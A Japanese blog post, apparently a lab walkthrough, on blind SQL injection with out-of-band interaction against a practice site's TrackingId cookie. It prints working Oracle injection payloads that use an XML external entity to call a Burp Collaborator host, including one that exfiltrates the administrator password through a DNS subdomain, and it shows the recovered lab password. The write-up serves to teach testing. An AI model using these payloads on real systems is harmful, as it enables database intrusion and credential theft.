Shikata Ga Nai

Private? There is no such things.

Blind SQL injection with out-of-band interactionをやってみた

Hello there, ('ω')ノ

 

帯域外の相互作用を伴うブラインドSQLインジェクションを。

このラボには、 ブラインドSQLインジェクションに脆弱性があって。

TrackingId Cookieを使用し、送信されたCookieの値を含むSQLクエリを実行して。

SQLクエリは非同期で実行されて、アプリケーションの応答には影響しないので。

外部ドメインとの帯域外相互作用をトリガすることで。

SQLインジェクションの脆弱性を悪用できて。

 

まず、TrackingId Cookieを使用して使用状況に関する分析の収集について考えると。

アプリケーションへのリクエストには、下記のようなCookieヘッダが含まれて。

 Cookie: TrackingId=zwFw4yODnFC3DFLI

 

次にアプリケーションは、下記のようなSQLクエリを使用して。

これが既知のユーザであるかどうかを判断して。

 SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'zwFw4yODnFC3DFLI'

 

既知のユーザだったら、「おかえりなさい」というメッセージが表示されたりと。

ブラインドSQLインジェクションの脆弱性を悪用すると。

下記のTrackingIdを送信することで真の値が得られるわけで。 

 x' AND '1'='1

 

という仕組みでして。

先にペイロードをデコードして内容を確認しておいて。

 

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

 

extractvalueは、xmltypeのインスタンスとXPathでマッチするものを探して。

 

x'+UNION+SELECT+extractvalue(xmltype(

'<?xml+version="1.0"+encoding="UTF-8"?>

<!DOCTYPE+root+

[+<!ENTITY %+remote+SYSTEM+"http://x.burpcollaborator.net/"> %remote;]>'),'/l'

)+FROM+dual--

 

f:id:ThisIsOne:20210407082700p:plain

 

さっそくページにアクセスして。

 

f:id:ThisIsOne:20210407110903p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210407110843p:plain

 

コラボレータでペイロードをコピーしておいて。

 

f:id:ThisIsOne:20210407110955p:plain

 

下記のペイロードに置き換えてSendすると。

 

TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;

 

f:id:ThisIsOne:20210407111220p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210407111142p:plain

 

ペイロードの結果として。

アプリケーションによって開始されたDNSとHTTPの相互作用が表示されて。

 

f:id:ThisIsOne:20210407114933p:plain

 

ちなみ下記のペイロードに変更してSendすると。

 

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;

 

f:id:ThisIsOne:20210407114541p:plain

 

administratorのパスワードがサブドメインに表示されて。

DNSインタラクションの場合は。

検索された完全なドメイン名がDescriptionタブに表示されて。

パスワードは以下のとおりで。

 nz048nf3i0cvomhncy9k

 

f:id:ThisIsOne:20210407114701p:plain

 

また、HTTPインタラクションの場合は。

完全なドメイン名はリクエストタブのHostヘッダに表示されて。

 

f:id:ThisIsOne:20210407115612p:plain

 

さっそくログインしてみると。

 

f:id:ThisIsOne:20210407114440p:plain

 

ログインできた。

 

f:id:ThisIsOne:20210407114503p:plain

 

Best regards, (^^ゞ